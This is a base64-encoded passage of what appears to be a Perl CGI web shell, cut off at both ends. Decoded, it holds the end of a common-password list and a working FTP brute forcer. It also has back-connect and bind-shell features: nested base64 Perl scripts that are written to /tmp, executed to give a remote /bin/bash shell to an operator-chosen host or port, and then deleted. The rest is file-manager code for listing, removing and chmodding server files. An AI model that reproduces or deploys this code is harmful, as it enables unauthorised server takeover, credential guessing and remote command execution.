NCjEyMzQ1Njc4OTANCjExMTExMQ0KMDAwMDAwDQoyMjIyMjINCjMzMzMzMw0KNDQ0NDQ0DQo1NTU1NTUNCjY2NjY2Ng0KNzc3Nzc3DQo4ODg4ODgNCjk5OTk5OQ0KMTIzMTIzDQoyMzQyMzQNCjM0NTM0NQ0KNDU2NDU2DQo1Njc1NjcNCjY3ODY3OA0KNzg5Nzg5DQoxMjMzMjENCjQ1NjY1NA0KNjU0MzIxDQo3NjU0MzIxDQo4NzY1NDMyMQ0KOTg3NjU0MzIxDQowOTg3NjU0MzIxDQphZG1pbjEyMw0KYWRtaW4xMjM0NTYNCmFiY2RlZg0KYWJjYWJjDQohQCMhQCMNCiFAIyQlXg0KIUAjJCVeJiooDQohQCMkJCNAIQ0KYWJjMTIzDQphbmh5ZXVlbQ0KaWxvdmV5b3U8L3RleHRhcmVhPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+DQpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4NCg0KPG9wdGlvbj4wPC9vcHRpb24+DQo8b3B0aW9uPjE8L29wdGlvbj4NCjxvcHRpb24+Mjwvb3B0aW9uPg0KDQo8b3B0aW9uPjM8L29wdGlvbj4NCjwvc2VsZWN0PiANCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+DQo8L2Zvcm0+DQo8L3RhYmxlPg0KRU5EDQpyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQnJ1dGUgRm9yY2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXINCnsNCglteSAkcmVzdWx0PSIiOw0KCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsNCglpZigkaW57J3VzZXInfSBlcSAiIikNCgl7DQoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsNCgl9ZWxzZQ0KCXsNCgkJdXNlIE5ldDo6RlRQOyANCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsNCgkJQHBhc3M9IHNwbGl0KC9cbi8sICRpbnsncGFzcyd9KTsNCgkJY2hvbXAoQHVzZXIpOw0KCQljaG9tcChAcGFzcyk7DQoJCSRyZXN1bHQgLj0gIjxicj48YnI+WytdIFRyeWluZyBicnV0ZSAkU2VydmVyTmFtZTxicj49PT09PT09PT09PT09PT09PT09PT4+Pj4+Pj4+Pj4+Pjw8PDw8PDw8PDw9PT09PT09PT09PT09PT09PT09PTxicj48YnI+XG4iOw0KCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpDQoJCXsNCgkJCWlmKCR1c2VybmFtZSBuZSAiIikNCgkJCXsNCgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpDQoJCQkJew0KCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyANCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQ0KCQkJCQl7DQoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsNCgkJCQkJCSRmdHAtPnF1aXQoKTsNCgkJCQkJCWJyZWFrOw0KCQkJCQl9DQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpDQoJCQkJCXsNCgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI2IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxMiIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJ2aW5ha2lkIj48L3RkPg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLg0KCTxicj5bK10gVHJ5IGNvbW1hbmQ6IDxydW4+bmMgJEVOVnsnU0VSVkVSX0FERFInfSA8c3BhbiBpZD0iYmkiPjE0MTI8L3NwYW4+PC9ydW4+PC9mb250PjwvdGQ+DQoNCgk8L3RyPg0KCTwvdGFibGU+PGJyPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJhY2tjb25uZWN0IHVzZSBwZXJsDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmQNCnsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgJEZpbGUgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCglpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCn0NCnN1YiBGaWxlT3duZXIoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJcmV0dXJuICI/Pz8iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG5hbWU9Z2V0cHd1aWQoJHVpZCk7DQoJCQkkZ3JvdXA9Z2V0Z3JnaWQoJGdpZCk7DQoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsNCgkJfQ0KCX0NCglyZXR1cm4gIj8/PyI7DQp9DQpzdWIgUGFyZW50Rm9sZGVyKCQpDQp7DQoJbXkgJHBhdGggPSBzaGlmdDsNCglteSAkQ29tbSA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkIC4uIi4kQ21kU2VwLiRDbWRQd2Q7DQoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOw0KCXJldHVybiAkcGF0aDsNCn0NCnN1YiBGaWxlUGVybXMoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCW15ICR1ciA9ICItIjsNCglteSAkdXcgPSAiLSI7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9DQoJCQlpZigtdyAkZmlsZSl7ICR1dyA9ICJ3IjsgfQ0KCQkJcmV0dXJuICR1ciAuICIgLyAiIC4gJHV3Ow0KCQl9ZWxzZQ0KCQl7DQoJCQkkbW9kZT0oc3RhdCgkZmlsZSkpWzJdOw0KCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsNCgkJCXJldHVybiAkcmVzdWx0Ow0KCQl9DQoJfQ0KCXJldHVybiAiMDAwMCI7DQp9DQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWUgJGZpbGUpDQoJew0KCQkoJGxhKSA9IChzdGF0KCRmaWxlKSlbOV07DQoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07DQoJCSR5ID0gJHkgKyAxOTAwOw0KCQlAbW9udGggPSBxdy8xIDIgMyA0IDUgNiA3IDggOSAxMCAxMSAxMi87DQoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOw0KCQlyZXR1cm4gJGxtdGltZTsNCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIEZpbGVTaXplKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZiAkZmlsZSkNCgl7DQoJCXJldHVybiAtcyAiJGZpbGUiOw0KCX0NCglyZXR1cm4gIjAiOw0KfQ0Kc3ViIFBhcnNlRmlsZVNpemUoJCkNCnsNCglteSAkc2l6ZSA9IHNoaWZ0Ow0KCWlmKCRzaXplIDw9IDEwMjQpDQoJew0KCQlyZXR1cm4gJHNpemUuICIgQiI7DQoJfQ0KCWVsc2UNCgl7DQoJCWlmKCRzaXplIDw9IDEwMjQqMTAyNCkgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4wMmYiLCRzaXplIC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBLQiI7DQoJCX0NCgkJZWxzZSANCgkJew0KCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsNCgkJCXJldHVybiAkc2l6ZS4iIE1CIjsNCgkJfQ0KCX0NCn0NCnN1YiB0cmltKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmcgPX4gcy9eXHMrLy87DQoJJHN0cmluZyA9fiBzL1xzKyQvLzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBBZGRTbGFzaGVzKCQpDQp7DQoJbXkgJHN0cmluZyA9IHNoaWZ0Ow0KCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsNCglyZXR1cm4gJHN0cmluZzsNCn0NCnN1YiBUcmltU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7DQoJJHN0cmluZz1+IHMvXFxcXC9cXC9nOw0KCXJldHVybiAkc3RyaW5nOw0KfQ0Kc3ViIExpc3REaXINCnsNCglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7DQoJbXkgJHJlc3VsdCA9ICI8Zm9ybSBuYW1lPSdmJyBvblN1Ym1pdD1cIkVuY29kZXIoJ2QnKVwiIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2QnIG5hbWU9J2QnIHNpemU9JzQwJyB2YWx1ZT0nJEN1cnJlbnREaXInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYScgdmFsdWU9J2d1aSc+PGlucHV0IGNsYXNzPSdzdWJtaXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0NoYW5nZSc+PC9mb3JtPiI7DQoJaWYoLWQgJHBhdGgpDQoJew0KCQlteSBAZm5hbWUgPSAoKTsNCgkJbXkgQGRuYW1lID0gKCk7DQoJCWlmKG9wZW5kaXIoRElSLCRwYXRoKSkNCgkJew0KCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpDQoJCQl7DQoJCQkJJGY9JHBhdGguJGZpbGU7DQoJCQkJaWYoLWQgJGYpDQoJCQkJew0KCQkJCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjx